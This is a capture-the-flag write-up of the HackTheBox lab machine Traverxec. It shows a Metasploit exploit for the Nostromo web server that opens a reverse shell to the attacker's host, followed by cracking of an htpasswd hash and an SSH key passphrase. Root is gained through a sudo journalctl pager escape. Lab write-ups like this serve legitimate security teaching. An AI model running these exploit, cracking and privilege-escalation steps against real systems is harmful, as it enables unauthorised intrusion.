Traverxec (HackTheBox) (English)
Content
HTB Traverxec writeup#
‘Easy’ machine, user was a bit of a challenge, rooting was easier. The process is: Scan –> Initial foothold –> Own User –> Own Root.
Initial Scan#
# added to hosts as 10.10.10.165 Traverxec
$ sudo nmap -sV -sC -sT -O -o nmapinitial Traverxec
Scan results
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 13:51 CET
Nmap scan report for Traverxec (10.10.10.165)
Host is up (0.12s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds
We got an OpenSSH server and a webserver running Nostrodomo. The website on port 80 looks like a generic personal website, nothing interesing after a quick look.
Let’s start by getting more information about the webserver, I had never seen it before.
After a quick Google search we find the changelog in the official website, where the author states a Remote Code Executon vulnerability has been fixed in version 1.9.7
(our target is using 1.9.6
:D), and a Port Swigger blog post giving us more details about the vulnerability, and a metasploit module.
Lets try with Metasploit, and see what we can do:
~/htb/Traverxec$ msfconsole
=[ metasploit v5.0.65-dev ]
+ -- --=[ 1955 exploits - 1092 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > search nostromo
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nostromo_code_exec 2019-10-20 good Yes Nostromo Directory Traversal Remote Command Execution
msf5 > info exploit/multi/http/nostromo_code_exec
Name: Nostromo Directory Traversal Remote Command Execution
Module: exploit/multi/http/nostromo_code_exec
Platform: Linux, Unix
Arch: cmd, x86, x64, mipsbe, mipsle, armle, aarch64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2019-10-20
Provided by:
Quentin Kaiser <kaiserquentin@gmail.com>
sp0re
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a remote command execution vulnerability in
Nostromo <= 1.9.6. This issue is caused by a directory traversal in
the function `http_verify` in nostromo nhttpd allowing an attacker
to achieve remote code execution via a crafted HTTP request.
References:
https://cvedetails.com/cve/CVE-2019-16278/
https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html
msf5 >
Initial foothold#
Looks promising, lets configure and launch it.
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options
Module options (exploit/multi/http/nostromo_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS Traverxec
RHOSTS => Traverxec
msf5 exploit(multi/http/nostromo_code_exec) > set SRVHOST 10.10.14.58
SRVHOST => 10.10.14.58
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.14.58
LHOST => 10.10.14.58
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 10.10.14.58:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.58:4444 -> 10.10.10.165:38706) at 2019-12-29 15:44:48 +0100
>whoami
www-data
User#
We got a low level shell, lets try to escalate to user. Nostromus files are stored inside /var/nostromo. Inside the conf folder, there is the main server configuration file:
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
Lets see what the referenced .htpasswd file contains.
$ cat .ht*
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Looks like we have an username and a hashed password. Let’s give it some love with John.
~/htb/Traverxec$ echo 'david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' >pw
~/htb/Traverxec$ john --wordlist=/usr/share/wordlist/rockyou.txt pw
And we get a match!
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:26 17.34% (ETA: 19:48:51) 0g/s 103374p/s 103374c/s 103374C/s wright1998..wrestler!
0g 0:00:00:58 41.59% (ETA: 19:48:41) 0g/s 103119p/s 103119c/s 103119C/s lotismaster..lota57
0g 0:00:01:42 74.27% (ETA: 19:48:39) 0g/s 102371p/s 102371c/s 102371C/s SINGLE187..SIMORO
Nowonly4me (david)
1g 0:00:01:43 DONE (2019-12-29 19:48) 0.009674g/s 102345p/s 102345c/s 102345C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We cannot use the passwordlo log in via SSH or using su. Looking at the configuration again, we can see that homedirs are enabled, which means we should be able to access the users files via HTTP.
Navigating to http://Traverxec/~david/
returns the following page, which corresponds with the path /home/david/public_www
.
Listing the directory from our shell returns:
$ ls /home/david/public_www/
ls /home/david/public_www
index.html
protected-file-area
$ ls /home/david/public_www/protected_file_area
backup-ssh-identity-files.tgz
So we can access http://Traverxec/~david/protected_file_area/backup-ssh-identity-files.tgz
to download the keys backup, using the username and password that we got previously.
Let’s extract the files and see what we got
~/htb/Traverxec$ tar xf backup-ssh-identity-files.tgz
~/htb/Traverxec$ ls home/david/.ssh/
authorized_keys id_rsa id_rsa.pub
~/htb/Traverxec$ cd home/david/.ssh
~/htb/Traverxec/home/david/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
[....]
Looks like we got a private key, but it is encrypted. Lets use john to crack it.
~/htb/Traverxec/home/david/.ssh$ /usr/share/john/ssh2john.py id_rsa >pw
~/htb/Traverxec/home/david/.ssh$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
1g 0:00:00:05 60.25% (ETA: 21:01:17) 0.1672g/s 1452Kp/s 1452Kc/s 1452KC/s demik1895..demij208
Session aborted
Got the password, lets try to log in via SSH.
~/htb/Traverxec/home/david/.ssh$ ssh david@Traverxec -i id_rsa
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Dec 29 15:05:45 2019 from 10.10.15.XX
david@traverxec:~$ cat user.txt
7db0b4*************************
And we owned user.
Root#
Looking inside the /home/david/bin
directory, we can see the following script:
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The last line is interesting: journalctl requires super user privileges in order to retrieve the information, and using sudo normally requires our password (which is unkown), but the command works. How? It looks like there is an exception somewhere that allows the command to run, but any variant is not allowed.
We know there is a GTFObin that allows us to exploit the fact that journalctl is running privileged. When the output is big, journalctl
uses less
for paging in our server, which allows as to easily change to root using just by typing !/bin/bash
.
In order to force journalctl
to use paging, we will remove the pipe part of the command, so the output goes directly to the console, and we will reduce the width of our terminal to just a few columns.
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sun 2019-12-29 20:18:00 EST, end at Sun
Dec 29 20:18:04 traverxec systemd[1]: Starting nostromo n
Dec 29 20:18:04 traverxec systemd[1]: nostromo.service: C
Dec 29 20:18:04 traverxec nhttpd[458]: started
Dec 29 20:18:04 traverxec nhttpd[458]: max. file descript
Dec 29 20:18:04 traverxec systemd[1]: Started nostromo nh
!/bin/bash
root@traverxec:/home/david/bin# cat /root/root.txt
9aa36a*************************
And we owned root!